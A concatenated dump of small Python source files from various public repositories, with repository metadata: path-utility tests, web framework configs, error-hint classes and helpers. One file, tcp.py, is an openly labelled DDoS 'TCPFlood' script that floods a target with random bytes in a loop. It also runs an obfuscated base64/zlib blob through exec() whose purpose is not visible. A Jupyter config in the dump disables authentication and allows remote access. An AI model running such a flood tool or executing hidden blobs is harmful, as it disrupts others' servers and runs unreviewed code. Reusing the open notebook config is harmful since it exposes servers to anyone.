tempfile.mkdtemp() # Create temporary directory and a symbolic link pointing to it self.dir1 = tempfile.mkdtemp() self.link_to_dir1 = os.path.join( self.parent_directory, os.path.basename(self.dir1) ) os.symlink( src=self.dir1, dst=self.link_to_dir1, target_is_directory=True ) # Create temporary file and a symbolic link pointing to it self.file1 = tempfile.mkstemp()[1] self.link_to_file1 = os.path.join( self.parent_directory, os.path.basename(self.file1) ) os.symlink(src=self.file1, dst=self.link_to_file1) def tearDown(self): # Unlink symbolic links os.unlink(self.link_to_file1) os.unlink(self.link_to_dir1) # Remove temporary directories and file shutil.rmtree(self.parent_directory) os.rmdir(self.dir1) os.remove(self.file1) def test_on_existing_link_to_directory(self): self.assertTrue(is_symbolic_link(self.link_to_dir1)) def test_on_existing_link_to_file(self): self.assertTrue(is_symbolic_link(self.link_to_file1)) def test_on_existing_directory(self): with tempfile.TemporaryDirectory() as temporary_directory: self.assertFalse(is_symbolic_link(temporary_directory)) def test_on_existing_file(self): with tempfile.NamedTemporaryFile() as temporary_file: self.assertFalse(is_symbolic_link(temporary_file.name)) class TestResolvePath(unittest.TestCase): def test_on_directory(self): with tempfile.TemporaryDirectory() as dir1: expected = os.path.realpath(dir1) self.assertEqual(resolve_path(dir1), expected) def test_on_file(self): with tempfile.NamedTemporaryFile() as file1: expected = os.path.realpath(file1.name) self.assertEqual(resolve_path(file1.name), expected) class TestCreatePath(unittest.TestCase): def test_create_directory(self): with tempfile.TemporaryDirectory() as parent_directory: # Create a directory in termporary directory dir1 = os.path.join(parent_directory, "SOMEDIR") create_directory(dir1) # Check if directory was created successfully self.assertTrue(os.path.isdir(dir1), True) def test_create_file(self): with tempfile.TemporaryDirectory() as parent_directory: # Create a file in termporary directory file1 = os.path.join(parent_directory, "SOMEFILE") create_file(file1) # Check if file was created successfully self.assertTrue(os.path.isfile(file1), True) class TestExistingOrCreatablePath(unittest.TestCase): def test_on_existing_dir(self): with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_existing_or_creatable_path(dir1)) def test_on_nonexisting_creatable_dir(self): # Create and delete a temp directory so we know that it is a valid path dir1 = tempfile.mkdtemp() os.rmdir(dir1) self.assertTrue(is_existing_or_creatable_path(dir1)) def test_on_uncreatable_dir(self): with tempfile.TemporaryDirectory() as parent_directory: # Create a directory name with a char forbidden in POSIX and WIN* forbidden_char = "/" directory_name = "SOMEDIR{}".format(forbidden_char) directory_path = os.path.join(parent_directory, directory_name) # Assert that the forbidden character prohibited path creation self.assertFalse(is_existing_or_creatable_path(directory_path)) def test_on_existing_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertTrue(is_existing_or_creatable_path(file1.name)) def test_on_nonexisting_creatable_file(self): # Create and delete a temp file so we know that it is a valid path file1 = tempfile.mkstemp()[1] os.remove(file1) self.assertTrue(is_existing_or_creatable_path(file1)) def test_on_uncreatable_file(self): with tempfile.TemporaryDirectory() as parent_directory: # Create a file name with a char forbidden in POSIX and WIN* forbidden_char = "/" file_name = "SOMEDIR{}".format(forbidden_char) file_path = os.path.join(parent_directory, file_name) # Assert that the forbidden character prohibited path creation self.assertFalse(is_existing_or_creatable_path(file_path)) class TestValidPath(unittest.TestCase): def test_on_existing_dir(self): with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_valid_path(dir1)) def test_on_nonexisting_creatable_dir(self): # Create and delete a temp directory so we know that it is a valid path dir1 = tempfile.mkdtemp() os.rmdir(dir1) self.assertTrue(is_valid_path(dir1)) def test_on_uncreatable_dir(self): with tempfile.TemporaryDirectory() as parent_directory: # Create a directory name with a char forbidden in POSIX and WIN* forbidden_char = "/" directory_name = "SOMEDIR{}".format(forbidden_char) directory_path = os.path.join(parent_directory, directory_name) # Assert that the forbidden character prohibited path creation self.assertFalse(is_valid_path(directory_path)) def test_on_existing_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertTrue(is_valid_path(file1.name)) def test_on_nonexisting_creatable_file(self): # Create and delete a temp file so we know that it is a valid path file1 = tempfile.mkstemp()[1] os.remove(file1) self.assertTrue(is_valid_path(file1)) def test_on_uncreatable_file(self): with tempfile.TemporaryDirectory() as parent_directory: # Create a file name with a char forbidden in POSIX and WIN* forbidden_char = "/" file_name = "SOMEDIR{}".format(forbidden_char) file_path = os.path.join(parent_directory, file_name) # Assert that the forbidden character prohibited path creation self.assertFalse(is_valid_path(file_path)) class TestValidDirectory(unittest.TestCase): def test_on_existing_dir(self): with tempfile.TemporaryDirectory() as dir1: self.assertTrue(is_valid_directory(dir1)) def test_on_nonexisting_creatable_dir(self): # Create and delete a temp directory so we know that it is a valid path dir1 = tempfile.mkdtemp() os.rmdir(dir1) self.assertTrue(is_valid_directory(dir1)) def test_on_uncreatable_dir(self): with tempfile.TemporaryDirectory() as parent_directory: # Create a directory name with a char forbidden in POSIX and WIN* forbidden_char = "/" directory_name = "SOMEDIR{}".format(forbidden_char) directory_path = os.path.join(parent_directory, directory_name) # Assert that the forbidden character prohibited path creation self.assertFalse(is_valid_directory(directory_path)) class TestValidFile(unittest.TestCase): def test_on_existing_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertTrue(is_valid_file(file1.name)) def test_on_nonexisting_creatable_file(self): # Create and delete a temp file so we know that it is a valid path file1 = tempfile.mkstemp()[1] os.remove(file1) self.assertTrue(is_valid_file(file1)) def test_on_uncreatable_file(self): with tempfile.TemporaryDirectory() as parent_directory: # Create a file name with a char forbidden in POSIX and WIN* forbidden_char = "/" file_name = "SOMEDIR{}".format(forbidden_char) file_path = os.path.join(parent_directory, file_name) # Assert that the forbidden character prohibited path creation self.assertFalse(is_valid_file(file_path)) class TestFileExtension(unittest.TestCase): def test_on_extension(self): with tempfile.NamedTemporaryFile(suffix=".EXT") as file1: self.assertEqual(get_extension(file1.name), "EXT") def test_on_no_extension(self): with tempfile.NamedTemporaryFile() as file1: self.assertEqual(get_extension(file1.name), "") def test_on_two_word_extension(self): with tempfile.NamedTemporaryFile(suffix=".tar.gz") as file1: self.assertEqual(get_extension(file1.name), "gz") class TestFileIsEmpty(unittest.TestCase): def test_on_empty_file(self): with tempfile.NamedTemporaryFile() as file1: self.assertTrue(is_empty_file(file1.name)) def test_on_nonempty_file(self): with tempfile.NamedTemporaryFile() as file1: with open(file1.name, "a") as file_for_writing: file_for_writing.write("SOME TEXT") self.assertFalse(is_empty_file(file1.name))
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4
b53ad22bcf4c6c491c0cbd9ae1619dc5a99f8e07
61
py
Python
src/cms/carousels/__init__.py
UniversitaDellaCalabria/uniCMS
b0af4e1a767867f0a9b3c135a5c84587e713cb71
[ "Apache-2.0" ]
6
2021-01-26T17:22:53.000Z
2022-02-15T10:09:03.000Z
src/cms/carousels/__init__.py
UniversitaDellaCalabria/uniCMS
b0af4e1a767867f0a9b3c135a5c84587e713cb71
[ "Apache-2.0" ]
5
2020-12-24T14:29:23.000Z
2021-08-10T10:32:18.000Z
src/cms/carousels/__init__.py
UniversitaDellaCalabria/uniCMS
b0af4e1a767867f0a9b3c135a5c84587e713cb71
[ "Apache-2.0" ]
2
2020-12-24T14:13:39.000Z
2020-12-30T16:48:52.000Z
default_app_config = 'cms.carousels.apps.CmsCarouselsConfig'
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4
b543643bfd103efd6eb0072b4c2e8efa415fb49d
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py
Python
style/__init__.py
1lo0/pexcel_openpyxl
609fefb501b13cbc0904aae8e7b19a3d7c401148
[ "Apache-2.0" ]
6
2020-06-24T01:23:49.000Z
2020-09-01T10:49:51.000Z
style/__init__.py
1lo0/pexcel
609fefb501b13cbc0904aae8e7b19a3d7c401148
[ "Apache-2.0" ]
null
null
null
style/__init__.py
1lo0/pexcel
609fefb501b13cbc0904aae8e7b19a3d7c401148
[ "Apache-2.0" ]
null
null
null
#-*- coding:utf-8 -*- # author:donttouchkeyboard@gmail.com # software: PyCharm
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4
b57f7e247eb177d3e04790dfc4327959292b8c35
485
py
Python
tests/test_utils.py
MVilstrup/parallely
555b7b0a0a222232fe5016525b50e5b5632b97b5
[ "Apache-2.0" ]
null
null
null
tests/test_utils.py
MVilstrup/parallely
555b7b0a0a222232fe5016525b50e5b5632b97b5
[ "Apache-2.0" ]
null
null
null
tests/test_utils.py
MVilstrup/parallely
555b7b0a0a222232fe5016525b50e5b5632b97b5
[ "Apache-2.0" ]
null
null
null
from parallely.utils import prepare_arguments def test_iterators_only(): args, kwargs = prepare_arguments(([1, 2],), {}) assert args == [[1], [2]] assert kwargs == [{}, {}] args, kwargs = prepare_arguments(([1, 2],), {"a": [3, 4]}) assert args == [[1], [2]] assert kwargs == [{"a": 3}, {"a": 4}] def test_iterators_and_constants(): pass def test_iterators_and_repeats(): pass def test_args_input(): pass def test_kwargs_input(): pass
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4
b59a1f7797281d16fcf0e8ced35457fc9f17315b
149
py
Python
bups/scheduler/__init__.py
emersion/bups
95dac7fabe8261dfff3bccad1e384af07c702945
[ "MIT" ]
106
2015-01-02T11:11:39.000Z
2022-01-09T08:03:30.000Z
bups/scheduler/__init__.py
emersion/bups
95dac7fabe8261dfff3bccad1e384af07c702945
[ "MIT" ]
33
2015-01-01T15:01:38.000Z
2020-09-06T15:13:49.000Z
bups/scheduler/__init__.py
emersion/bups
95dac7fabe8261dfff3bccad1e384af07c702945
[ "MIT" ]
15
2015-02-01T10:38:20.000Z
2022-02-08T21:45:44.000Z
import anacron import systemd import systemd_user schedulers = { "anacron": anacron, "systemd": systemd, "systemd-user": systemd_user }
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b5b8bf6d948e217a2272cab079bac5752dae06ad
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py
Python
src/masonite/exceptions/exceptionite/solutions.py
josephmancuso/masonite
e9ed31331268bd4966609fbc1e5c55afa5cb0a79
[ "MIT" ]
35
2018-01-08T01:20:16.000Z
2018-02-06T02:37:14.000Z
src/masonite/exceptions/exceptionite/solutions.py
josephmancuso/masonite
e9ed31331268bd4966609fbc1e5c55afa5cb0a79
[ "MIT" ]
55
2018-01-03T02:42:03.000Z
2018-02-06T13:35:54.000Z
src/masonite/exceptions/exceptionite/solutions.py
josephmancuso/masonite
e9ed31331268bd4966609fbc1e5c55afa5cb0a79
[ "MIT" ]
4
2018-01-08T13:13:14.000Z
2018-01-12T19:35:32.000Z
class TableNotFound: def title(self): return "Table Not Found" def description(self): return "You are trying to make a query on a table that cannot be found. Check that :table migration exists and that migrations have been ran with 'python craft migrate' command." def regex(self): return r"no such table: (?P<table>(\w+))" class MissingCSRFToken: def title(self): return "Missing CSRF Token" def description(self): return "You are trying to make a sensitive request without providing a CSRF token. Your request might be vulnerable to Cross Site Request Forgery. To resolve this issue you should use {{ csrf_field }} in HTML forms or add X-CSRF-TOKEN header in AJAX requests." def regex(self): return r"Missing CSRF Token" class InvalidCSRFToken: def title(self): return "The session does not match the CSRF token" def description(self): return "Try clearing your cookies for the localhost domain in your browsers developer tools." def regex(self): return r"Invalid CSRF Token" class TemplateNotFound: def title(self): return "Template Not Found" def description(self): return """':template.html' view file has not been found in registered view locations. Please verify the spelling of the template and that it exists in locations declared in Kernel file. You can check available view locations with app.make('view.locations').""" def regex(self): return r"Template '(?P<template>(\w+))' not found" class NoneResponse: def title(self): return "Response cannot be None" def description(self): return """Ensure that the controller method used in this request returned something. A controller method cannot return None or nothing. If you don't want to return a value you can return an empty string ''.""" def regex(self): return r"Responses cannot be of type: None." class RouteMiddlewareNotFound: def title(self): return "Did you register the middleware key in your Kernel.py file?" def description(self): return "Check your Kernel.py file inside your 'route_middleware' attribute and look for a :middleware key" def regex(self): return r"Could not find the \'(?P<middleware>(\w+))\' middleware key"
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4
a90ed67f59d4064bfe7c0ef922e613b9800bfe00
309
py
Python
jupyter_notebook_config.py
smurve/cbrokerage
9c0ada2981d60ab04a4a2120f40f9ebc4a38befc
[ "Apache-2.0" ]
1
2019-06-26T13:14:50.000Z
2019-06-26T13:14:50.000Z
jupyter_notebook_config.py
smurve/cbrokerage
9c0ada2981d60ab04a4a2120f40f9ebc4a38befc
[ "Apache-2.0" ]
3
2021-03-19T03:06:40.000Z
2022-02-10T13:35:19.000Z
jupyter_notebook_config.py
smurve/cbrokerage
9c0ada2981d60ab04a4a2120f40f9ebc4a38befc
[ "Apache-2.0" ]
null
null
null
c.NotebookApp.ip = '*' c.NotebookApp.token = '' c.NotebookApp.password = '' c.NotebookApp.open_browser = False c.NotebookApp.port = 8081 c.NotebookApp.allow_remote_access = True c.NotebookApp.allow_origin_pat = '(^https://8081-dot-[0-9]+-dot-devshell\.appspot\.com$)|(^https://colab\.research\.google\.com$)'
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4
a916f2651449bc27b39e33bbc53db3c2cfe801df
182
py
Python
samples/flask/resources/__init__.py
amdowell/python-brasil-2016
03580f8c1db77686d2df7ce9888931a47f7ba388
[ "MIT" ]
6
2016-10-10T18:16:05.000Z
2017-02-01T21:54:03.000Z
samples/flask/resources/__init__.py
amdowell/python-brasil-2016
03580f8c1db77686d2df7ce9888931a47f7ba388
[ "MIT" ]
null
null
null
samples/flask/resources/__init__.py
amdowell/python-brasil-2016
03580f8c1db77686d2df7ce9888931a47f7ba388
[ "MIT" ]
null
null
null
# encoding:utf-8 from flask import Flask from routes import my_blueprint app = Flask(__name__) # register our blueprints app.register_blueprint(my_blueprint, url_prefix='/api/v1')
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4
a918e1ffd9d059a8ccbde9a4a32690a02d85e757
215
py
Python
Standard Library/struct/06_unpack_from.py
shubhamnag14/Python-Documents
d3fee0ad90232b413f6ac1b562588fb255b79e42
[ "Apache-2.0" ]
2
2020-11-27T13:21:05.000Z
2021-04-19T21:14:21.000Z
Standard Library/struct/06_unpack_from.py
shubhamnag14/Python-Documents
d3fee0ad90232b413f6ac1b562588fb255b79e42
[ "Apache-2.0" ]
null
null
null
Standard Library/struct/06_unpack_from.py
shubhamnag14/Python-Documents
d3fee0ad90232b413f6ac1b562588fb255b79e42
[ "Apache-2.0" ]
1
2021-06-27T20:31:42.000Z
2021-06-27T20:31:42.000Z
from struct import Struct struct1 = Struct('@i13sf') sendBytes = b'\x7f\x00\x00\x00Hello Struct!\x00\x00\x00\xc3\xf5H@\x80\x00\x00\x00Hello Python!\x00\x00\x00\x85\xebQ@' print(struct1.unpack_from(sendBytes, 24))
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4
a932c12604125ad95d425139991da93d8a6b4a07
153
py
Python
word_transform/urls.py
haavikko/sananmuunnos
8865deecbdcfa757bbc9051d4b6e30aaa3928ae9
[ "MIT" ]
null
null
null
word_transform/urls.py
haavikko/sananmuunnos
8865deecbdcfa757bbc9051d4b6e30aaa3928ae9
[ "MIT" ]
null
null
null
word_transform/urls.py
haavikko/sananmuunnos
8865deecbdcfa757bbc9051d4b6e30aaa3928ae9
[ "MIT" ]
null
null
null
"""URL Configuration""" from django.urls import path from . import views urlpatterns = [ path('', views.word_transform, name='word_transform'), ]
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a93a1f8c6a6ab5be94ce478f15117122ea8994b1
836
py
Python
src/ellie_eyes/ellie_eyes/face_recognition/factical_models.py
Gin-TrungSon/EllieHumanoid
c5d958663149dad23cc1cbce7e5884eddf079792
[ "MIT" ]
null
null
null
src/ellie_eyes/ellie_eyes/face_recognition/factical_models.py
Gin-TrungSon/EllieHumanoid
c5d958663149dad23cc1cbce7e5884eddf079792
[ "MIT" ]
null
null
null
src/ellie_eyes/ellie_eyes/face_recognition/factical_models.py
Gin-TrungSon/EllieHumanoid
c5d958663149dad23cc1cbce7e5884eddf079792
[ "MIT" ]
1
2021-12-09T13:39:14.000Z
2021-12-09T13:39:14.000Z
import os # we are using the model already trained #https://github.com/davisking/dlib-models def pose_predictor_model_location(): return os.path.join(os.path.dirname(__file__), "models/shape_predictor_68_face_landmarks.dat") def pose_predictor_five_point_model_location(): return os.path.join(os.path.dirname(__file__), "models/shape_predictor_5_face_landmarks.dat") def face_recognition_model_location(): return os.path.join(os.path.dirname(__file__), "models/dlib_face_recognition_resnet_model_v1.dat") def cnn_face_detector_model_location(): return os.path.join(os.path.dirname(__file__), "models/mmod_human_face_detector.dat") if __name__=="__main__": pose_predictor_model_location() pose_predictor_five_point_model_location() face_recognition_model_location() cnn_face_detector_model_location()
39.809524
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1
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1
1
0
0
4
a94c29ec3de50bcd926cf1b0d4fb76d21e592032
91
py
Python
web_ui/IOT-Dashboard/readings/apps.py
sss22213/ESP_IOT
9ff66aed3c08989ece3a6bb6a47c70463e2d3643
[ "BSD-3-Clause" ]
null
null
null
web_ui/IOT-Dashboard/readings/apps.py
sss22213/ESP_IOT
9ff66aed3c08989ece3a6bb6a47c70463e2d3643
[ "BSD-3-Clause" ]
null
null
null
web_ui/IOT-Dashboard/readings/apps.py
sss22213/ESP_IOT
9ff66aed3c08989ece3a6bb6a47c70463e2d3643
[ "BSD-3-Clause" ]
null
null
null
from django.apps import AppConfig class ReadingsConfig(AppConfig): name = 'readings'
15.166667
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4
a979608dc3265991673765bf12dc1fa30e8366e3
944
py
Python
tests/test_elfun.py
mat2py/mat2py
2776fbe9ca4ad2aaa3eac6aa79d17747a9ec24a8
[ "MIT" ]
null
null
null
tests/test_elfun.py
mat2py/mat2py
2776fbe9ca4ad2aaa3eac6aa79d17747a9ec24a8
[ "MIT" ]
37
2021-12-23T03:22:20.000Z
2022-02-16T15:40:47.000Z
tests/test_elfun.py
mat2py/mat2py
2776fbe9ca4ad2aaa3eac6aa79d17747a9ec24a8
[ "MIT" ]
2
2022-01-23T07:59:10.000Z
2022-02-03T09:15:54.000Z
# type: ignore import pytest from .helper import * def test_floor(): X = M[ [-1.9, -0.2, 3.4], [5.6, 7.0, 2.4 + 3.6j], ] Y = floor(X) assert_same_array( Y, M[ [(-2.0000) + 0.0000j, (-1.0000) + 0.0000j, 3.0000 + 0.0000j], [5.0000 + 0.0000j, 7.0000 + 0.0000j, 2.0000 + 3.0000j], ], ) # TODO: we will support time type later # t = (hours(8) + minutes(M[29:31])) + seconds(1.23) # t.Format = 'hh:mm:ss.SS' # _assert(t == (M[[M[08:29:01.23], M[08:30:01.23], M[08:31:01.23]]])) # Y1 = floor(t) # _assert(t == (M[[M[08:29:01.00], M[08:30:01.00], M[08:31:01.00]]])) # Y2 = floor(t, 'hours') # _assert(t == (M[[M[08:00:00.00], M[08:00:00.00], M[08:00:00.00]]])) # floor as index assert_same_array(X(1, floor(3.99)), 3.4 + 0j) # floor as loop for y4 in M[1 : floor(3.1)]: pass assert_same_array(y4, 3.0)
25.513514
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4
a9839aef90e25a9e7618782fd1c6b427f2268888
53
py
Python
native/libcst/tests/fixtures/global_nonlocal.py
jschavesr/LibCST
e5ab7b90b4c9cd1f46e5b875ad317411abf48298
[ "Apache-2.0" ]
880
2019-08-07T21:21:11.000Z
2022-03-29T06:25:34.000Z
native/libcst/tests/fixtures/global_nonlocal.py
jschavesr/LibCST
e5ab7b90b4c9cd1f46e5b875ad317411abf48298
[ "Apache-2.0" ]
537
2019-08-08T18:34:30.000Z
2022-03-30T16:46:14.000Z
native/libcst/tests/fixtures/global_nonlocal.py
jschavesr/LibCST
e5ab7b90b4c9cd1f46e5b875ad317411abf48298
[ "Apache-2.0" ]
108
2019-08-08T00:17:21.000Z
2022-03-24T20:53:31.000Z
global a global b , c, d nonlocal a nonlocal a , b
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4
8d16dbf851d8753c5bc7538d7bebfbcb4893034d
143
py
Python
src/py/gauge/collectors/__init__.py
AndreiPashkin/gauge
e51da02506b3542462d17626b0be979e6d8beff0
[ "Apache-2.0" ]
null
null
null
src/py/gauge/collectors/__init__.py
AndreiPashkin/gauge
e51da02506b3542462d17626b0be979e6d8beff0
[ "Apache-2.0" ]
18
2020-08-28T19:23:02.000Z
2021-01-03T21:51:34.000Z
src/py/gauge/collectors/__init__.py
AndreiPashkin/gauge
e51da02506b3542462d17626b0be979e6d8beff0
[ "Apache-2.0" ]
null
null
null
from .base import CollectorInterface from .sampling_collector import SamplingCollector __all__ = ["CollectorInterface", "SamplingCollector"]
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5
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4
8d34a09f6bd5e5ab618cc1820c9b881377abcfa1
277
py
Python
bender/evaluator/factory_method.py
otovo/bender
b64f0656658287b932ce44d52e6035682652fe33
[ "Apache-2.0" ]
2
2021-12-17T15:45:40.000Z
2021-12-18T14:15:43.000Z
bender/evaluator/factory_method.py
otovo/bender
b64f0656658287b932ce44d52e6035682652fe33
[ "Apache-2.0" ]
2
2022-03-30T14:31:12.000Z
2022-03-31T14:25:25.000Z
bender/evaluator/factory_method.py
otovo/bender
b64f0656658287b932ce44d52e6035682652fe33
[ "Apache-2.0" ]
1
2021-12-19T17:16:38.000Z
2021-12-19T17:16:38.000Z
from typing import Generic, TypeVar from bender.evaluator.interface import Evaluator EvaluableType = TypeVar('EvaluableType') class Evaluable(Generic[EvaluableType]): def evaluate(self, evaluators: list[Evaluator]) -> EvaluableType: raise NotImplementedError()
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4
8d4d5a6307b6d3631701210a7d66c07e1620f82e
165
py
Python
01_Language/01_Functions/python/is_bool.py
cliff363825/TwentyFour
09df59bd5d275e66463e343647f46027397d1233
[ "MIT" ]
3
2020-06-28T07:42:51.000Z
2021-01-15T10:32:11.000Z
01_Language/01_Functions/python/is_bool.py
cliff363825/TwentyFour
09df59bd5d275e66463e343647f46027397d1233
[ "MIT" ]
9
2021-03-10T22:45:40.000Z
2022-02-27T06:53:20.000Z
01_Language/01_Functions/python/is_bool.py
cliff363825/TwentyFour
09df59bd5d275e66463e343647f46027397d1233
[ "MIT" ]
1
2021-01-15T10:51:24.000Z
2021-01-15T10:51:24.000Z
# coding: utf-8 def is_bool(var): return isinstance(var, bool) if __name__ == '__main__': a = False b = 0 print(is_bool(a)) print(is_bool(b))
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8d4f9b5ddadaf471232931a12b9a2a667051abc6
82
py
Python
example 15/cxfreeze-quickstart.py
Jenyay/cx_freeze_examples
6d78e4a18c5a2768ce9d6ee6b9efe69b74bfd79f
[ "MIT" ]
6
2017-06-21T07:04:23.000Z
2020-05-15T13:28:38.000Z
example 15/cxfreeze-quickstart.py
Jenyay/cx_freeze_examples
6d78e4a18c5a2768ce9d6ee6b9efe69b74bfd79f
[ "MIT" ]
null
null
null
example 15/cxfreeze-quickstart.py
Jenyay/cx_freeze_examples
6d78e4a18c5a2768ce9d6ee6b9efe69b74bfd79f
[ "MIT" ]
1
2021-08-29T09:43:47.000Z
2021-08-29T09:43:47.000Z
#!C:\Python\32-bit\2.7\python.exe from cx_Freeze.setupwriter import main main()
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8d541c83a59b14806437188711aa218ce27a4df7
26
py
Python
tests/test_channels/__init__.py
paniash/toqito
ab67c2a3fca77b3827be11d1e79531042ea62b82
[ "MIT" ]
76
2020-01-28T17:02:01.000Z
2022-02-14T18:02:15.000Z
tests/test_channels/__init__.py
paniash/toqito
ab67c2a3fca77b3827be11d1e79531042ea62b82
[ "MIT" ]
82
2020-05-31T20:09:38.000Z
2022-03-28T17:13:59.000Z
tests/test_channels/__init__.py
paniash/toqito
ab67c2a3fca77b3827be11d1e79531042ea62b82
[ "MIT" ]
30
2020-04-02T16:07:11.000Z
2022-02-05T13:39:22.000Z
"""Tests for channels."""
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0.695652
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4
8d677c50431aa9b00888f3fd221993b00daf49dd
42
py
Python
python/testData/completion/matMul.after.py
jnthn/intellij-community
8fa7c8a3ace62400c838e0d5926a7be106aa8557
[ "Apache-2.0" ]
2
2019-04-28T07:48:50.000Z
2020-12-11T14:18:08.000Z
python/testData/completion/matMul.after.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
173
2018-07-05T13:59:39.000Z
2018-08-09T01:12:03.000Z
python/testData/completion/matMul.after.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
2
2020-03-15T08:57:37.000Z
2020-04-07T04:48:14.000Z
class C: def __matmul__(self, other):
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4
8d71055e8c8535fc35f6922f15c42792004bdb0b
2,723
py
Python
tcp.py
Lusmaysh/DDoS
166a35781c683eb050c20414ffe63adf50452111
[ "Apache-2.0" ]
null
null
null
tcp.py
Lusmaysh/DDoS
166a35781c683eb050c20414ffe63adf50452111
[ "Apache-2.0" ]
null
null
null
tcp.py
Lusmaysh/DDoS
166a35781c683eb050c20414ffe63adf50452111
[ "Apache-2.0" ]
null
null
null
import sys,random,socket,zlib,base64 from optparse import OptionParser author = "Lusmaysh" exec(zlib.decompress(base64.b64decode(b'eJwlkrcSo1YARXt/hTvvDp4liVS4ICNAEoigBx2gR87pAV/v9bg9tzp3TtWNw7z+ebVV+neaLJC9/QEPmP34D/z6wmzoxhkuy4//t18pe/sPfuGP9C9oorbh4DkQhSg6DlctO7VDc+I9LhLvLi1uqnp2YlRLhYqGbacFil2VfU339ejMGPcF94MfgFGUvjPoUuSdAOAyKnVnPIrd4YUU5z5AeQCylmfsbqxGGrxy8VLtoMF8Lr/KNRyVMT4RFZnuKyn1i2Krjmn55WFK26ztCGsnL6w0ME4JvIIPOJAaEsZKGY2vdQePmyhemyfPlZOGwbsW3epzEr6zLJC7bLh1EJFgtFxRpkEJ0m/6aqDLjlZC0l+KVjYOTB3o54VCfkS6SUjg4acXFM6L8lx9MwSkPnRfKDTJ7UQi2Nr99kBMu73IwPKTF5iRIgIrYgcXNiCaCgPk22YmHGUv6SFUpoGAr1ZzO9GVL7FrJHBrZtSrU+BJlYYV1I9FHrZiMcZDpuG6wPC8bPumiitPWN43Ws8se/a/HW45LYnXR0rdt0XmNg95odxkv070Ggoflj/UAxAs9MZxVMU3Oum3rb/q732plTra2QXdKu0YiOpaQ23MM3hmWICfDzuP0IVmBVYudmGbkr3zaM6Ph+SmxjeI3sxdlDHtYG5Wlfmitpfz9uTMa1Meg8FNnPvhWlAEYZtKIh63SVqRb6IJBzt2mSKMZ4ielv1Y0yUvPRM+U6pZSCaGWgHH3VGLbbfcmmBYXyT8G66eu5Q8X79fqvbN1weIaNMOrGWbptyaU4fBCWGQdRcR+ShdE2UJeZrKWBoaJwsSL5aWzxJPpzDVazBm54tigTkQ172kWEfFc9ccP75uTTWswKTXVnQnkOA2iR/WZrQCin5eqKczAwUjvNluFbHIkySlXhmQl4+jh00czUe77+jwpXc5JFSfq7oh1yVqnuU3Gjw11pgHpMdn4M/VxhLHZu66BnG3HknCOrFziKStrdfRZc0xiJW5ezim5kUYK8Jq3jJC0kej0wLGCxn0ut+EriBq+H1QvkDyKCSC5RUJO7Wslv/WtA/pCiDnxq7TvXVjXu7NVDE4+vqsI3zA28oa3BpsctoOWRHE7G7Rn0kvwvXcVeer5ycm/S7IzpUiVUZ8LYkgrvv+Uy/U08dMxUnnXV1or+J5KISeghF8l8n0PDXPURkmSrIscyf6Xn0czAYjyqawYCiKzRVUYz2g21UN/lpbbZ5fQAk07wEaHiDyWO5mZY6Q0tLNO5f9CzRUN2WeJIuY9DeRxfKzl2/uleWB78du72i8OOBScpx4MqyFkGOsAB0Ow3eaUeTCLP756+fPn/8C+2SytA=='))) p=OptionParser(usage="python"+sys.version[0]+" %prog [options]") p.add_option("-s","--server",dest="host",help="Target server ip") p.add_option("-p","--port",dest="port",type=int,help="Server port (default: 8080)") p.add_option("-t","--turbo",dest="thr",type=int,help="Thread to send (default: 65000)") opt,args=p.parse_args() if len(sys.argv)<2: sys.exit(p.print_help()) if not opt.port: opt.port=8080 if not opt.thr: opt.thr=65000 if __name__=="__main__": if opt.host: print(""" _______ _______ ______ _______ _ _ (_______|_______|_____ (_______) | | | _ _ _____) )____ | | ___ ___ __| | | | | | | ____/ ___) | |/ _ \ / _ \ / _ | | | | |_____| | | | | | |_| | |_| ( (_| | |_| \______)_| |_| \_)___/ \___/ \____| TCPFlood v1.0.0 Coded By %s """%(author)) b=1 client=socket.socket(socket.AF_INET,socket.SOCK_STREAM) client.connect((opt.host,opt.port)) while True: try: client.send(random._urandom(opt.thr)) print("[%s] send packets to %s on port %s"%(b,opt.host,opt.port)) b+=1 except socket.error: sys.exit("Check host and port") except KeyboardInterrupt: sys.exit("[!] Process interrupted, good bye!")
61.886364
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4
8d9b1b1a973d6fae3ba025aa2db26f38ec486837
234
py
Python
aos_sw_api/enums/sntp_client_operation_mode.py
KennethSoelberg/AOS-Switch
a5a2c54917bbb69fab044bf0b313bcf795642d30
[ "MIT" ]
null
null
null
aos_sw_api/enums/sntp_client_operation_mode.py
KennethSoelberg/AOS-Switch
a5a2c54917bbb69fab044bf0b313bcf795642d30
[ "MIT" ]
1
2020-12-24T15:36:56.000Z
2021-01-28T23:19:57.000Z
aos_sw_api/enums/sntp_client_operation_mode.py
KennethSoelberg/AOS-Switch
a5a2c54917bbb69fab044bf0b313bcf795642d30
[ "MIT" ]
1
2021-02-16T23:26:28.000Z
2021-02-16T23:26:28.000Z
from enum import Enum class SntpClientOperationModeEnum(str, Enum): SNTP_DISABLE = "SNTP_DISABLE" SNTP_UNICAST_MODE = "SNTP_UNICAST_MODE" SNTP_BROADCAST_MODE = "SNTP_BROADCAST_MODE" SNTP_DHCP_MODE = "SNTP_DHCP_MODE"
26
47
0.773504
30
234
5.566667
0.4
0.239521
0.179641
0.227545
0.251497
0
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0.15812
234
8
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29.25
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0.264957
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false
0
0.166667
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1
0
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4
a5d2f42806ae9ef1fc5a83a69914fd04df5dcd31
199
py
Python
Timbuchalka/Section-6/color_printv3.py
Advik-B/Learn-Python
66ac57259764e8f2c3c6513a8de6c106800d8abe
[ "MIT" ]
6
2021-07-26T14:21:25.000Z
2021-07-26T14:32:01.000Z
Timbuchalka/Section-6/color_printv3.py
Advik-B/Learn-Python
66ac57259764e8f2c3c6513a8de6c106800d8abe
[ "MIT" ]
2
2021-12-10T10:25:19.000Z
2021-12-10T10:27:15.000Z
Timbuchalka/Section-6/color_printv3.py
Advik-B/Learn-Python
66ac57259764e8f2c3c6513a8de6c106800d8abe
[ "MIT" ]
null
null
null
from advikb import cprint cprint("Hello Advik. welcome to cprint",'magenta') cprint() cprint('https://discord.gg/DsMYhmZ6Qq','cyan') cprint('','REVERSE') cprint('press enter to exit','red') input()
22.111111
50
0.718593
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199
5.296296
0.740741
0.167832
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0.005525
0.090452
199
9
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22.111111
